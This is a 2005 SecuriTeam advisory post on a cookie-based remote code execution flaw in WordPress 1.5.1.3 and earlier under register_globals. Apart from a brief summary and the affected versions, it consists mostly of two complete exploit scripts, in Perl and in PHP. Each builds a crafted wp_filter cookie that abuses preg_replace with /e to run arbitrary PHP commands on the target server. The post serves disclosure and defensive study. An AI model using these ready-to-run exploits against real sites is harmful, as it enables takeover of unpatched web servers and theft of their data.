[UNIX] WordPress Command Execution Vulnerability (Cache_lastpostdate)

From: SecuriTeam (support_at_securiteam.com)
Date: 08/10/05

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Date: 10 Aug 2005 18:17:45 +0200

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      WordPress Command Execution Vulnerability (Cache_lastpostdate)
    ------------------------------------------------------------------------

    SUMMARY

    A vulnerability in WordPress's handling of incoming cookie information
    allows remote attackers to cause the program to execute arbitrary code if
    the PHP settings of register_globals has been set to On.

    DETAILS

    Vulnerable Systems:
     * WordPress version 1.5.1.3 and prior (with register_globals)

    Immune Systems:
     * WordPress version 1.5.1.4 or newer

    Perl Exploit:
    #!/usr/bin/perl
    use strict;
    use MIME::Base64 qw(encode_base64 decode_base64);
    use IO::Socket;

    print "Wordpress <= 1.5.1.3 - remote code execution 0-DDAAYY exploit
    (Converted by Noam)\n";
    print "(C) Copyright 2005 Kartoffelguru\n\n";
    print "[!] info: requires register_globals turned on on target host\n\n";

    if (@ARGV < 2)
    {
     die ("usage:\n\t./wpx.php http://www.xyz.net/blog/ 'system(\"uname
    -a;id\");'\n\n");
    }

    my $url = shift;
    my $cmd = shift;

    if (length($cmd)==0)
    {
     $cmd = 'phpinfo();';
    }

    #print "code: ".encode_base64($cmd, '')."\n";
    my @code = unpack("C*", encode_base64($cmd, ''));
    #print "code: @code\n";
    my $cnv = "";
    for (my $i=0;$i<@code; $i++)
    {
     $cnv.= "chr(".$code[$i].").";
    }
    $cnv.="chr(32)";
    #print "cnv: $cnv\n";

    my $str =
    encode_base64('args[0]=eval(base64_decode('.$cnv.')).die()&args[1]=x',
    '');
    #print "str: [$str]\n";

    my $cookie='wp_filter[query_vars][0][0][function]=get_lastpostdate;".
    "wp_filter[query_vars][0][0][accepted_args]=0;';
    $cookie.='wp_filter[query_vars][0][1][function]=base64_decode;".
    "wp_filter[query_vars][0][1][accepted_args]=1;';
    $cookie.='cache_lastpostmodified[server]=//e;cache_lastpostdate[server]=';
    $cookie.=$str;
    $cookie.=';wp_filter[query_vars][1][0][function]=parse_str;".
    "wp_filter[query_vars][1][0][accepted_args]=1;';
    $cookie.='wp_filter[query_vars][2][0][function]=get_lastpostmodified;" .
    "wp_filter[query_vars][2][0][accepted_args]=0;';
    $cookie.='wp_filter[query_vars][3][0][function]=preg_replace;" .
    "wp_filter[query_vars][3][0][accepted_args]=3;';

    $url =~ /http:\/\/([^\/]+)\/(.*?)/;

    my $hostname = $1;

    my $path = $2;
    my $Request = "GET /$path HTTP/1.1\r
    Host: $hostname\r
    Cookie: $cookie\r
    Referer: $hostname\r
    Connection: close\r
    User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET
    CLR 1.1.4322)\r
    \r
    ";

    my $socket = IO::Socket::INET->new ( Proto => "tcp", PeerAddr =>
    $hostname, PeerPort => 80);
    unless ($socket) { die "cannot connect to http daemon on $hostname" }

    print "Request: [$Request]\n";
    print $socket $Request;

    while (<$socket>)
    {
     print $_;
    }

    PHP Exploit:
    <?php
        echo "Wordpress <= 1.5.1.3 - remote code execution 0-DDAAYY
    exploit\n";
        echo "(C) Copyright 2005 Kartoffelguru\n\n";
        echo "[!] info: requires register_globals turned on on target
    host\n\n";
        if (!extension_loaded('curl')) {
            die ("[-] you need the curl extension activated...\n");
        }

        function usage()
        {
            die ("usage:\n\t./wpx.php -h http://www.xyz.net/blog/ -c
    'system(\"uname -a;id\");'\n\n");
        }

        $options = getopt("h:c:");
        if (count($options) < 1 || !isset($options['h'])) {
            usage();
        }

        $host = (is_array($options['h']) ? $options['h'][0]:$options['h']);
        $cmd = (is_array($options['c']) ? $options['c'][0]:$options['c']);

        if (!preg_match("/^http:\/\//", $host, $dummy)) {
            usage();
        }

        if (strlen(trim($cmd))==0) {
            $cmd = 'phpinfo();';
        }

        $code = base64_encode($cmd);
        echo "code: $code\n";
        $cnv = "";
        for ($i=0;$i<strlen($code); $i++) {
            $cnv.= "chr(".ord($code[$i]).").";
        }
        $cnv.="chr(32)";
        echo "cnv: $cnv\n";

        $str =
    base64_encode('args[0]=eval(base64_decode('.$cnv.')).die()&args[1]=x');

        $cookie='wp_filter[query_vars][0][0][function]=get_lastpostdate;' .
    'wp_filter[query_vars][0][0][accepted_args]=0;';
        $cookie.='wp_filter[query_vars][0][1][function]=base64_decode;' .
    'wp_filter[query_vars][0][1][accepted_args]=1;';
        
    $cookie.='cache_lastpostmodified[server]=//e;cache_lastpostdate[server]=';
        $cookie.=$str;
        $cookie.=';wp_filter[query_vars][1][0][function]=parse_str;' .
    'wp_filter[query_vars][1][0][accepted_args]=1;';
        $cookie.='wp_filter[query_vars][2][0][function]=get_lastpostmodified;'
     'wp_filter[query_vars][2][0][accepted_args]=0;';
        $cookie.='wp_filter[query_vars][3][0][function]=preg_replace;' .
    'wp_filter[query_vars][3][0][accepted_args]=3;';

        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $host);
        curl_setopt($ch, CURLOPT_POST, 0);
        curl_setopt($ch, CURLOPT_COOKIE, $cookie);
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_CURLOPT_REFERER, $host);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/4.0 (compatible; MSIE
    6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)");
        curl_setopt($ch, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_0);
        echo "[+] now executing\n\n";

        $r = curl_exec($ch);
        curl_close($ch);

        echo $r;

    ?>

    ADDITIONAL INFORMATION

    The information has been provided by Kartoffelguru.

    ========================================

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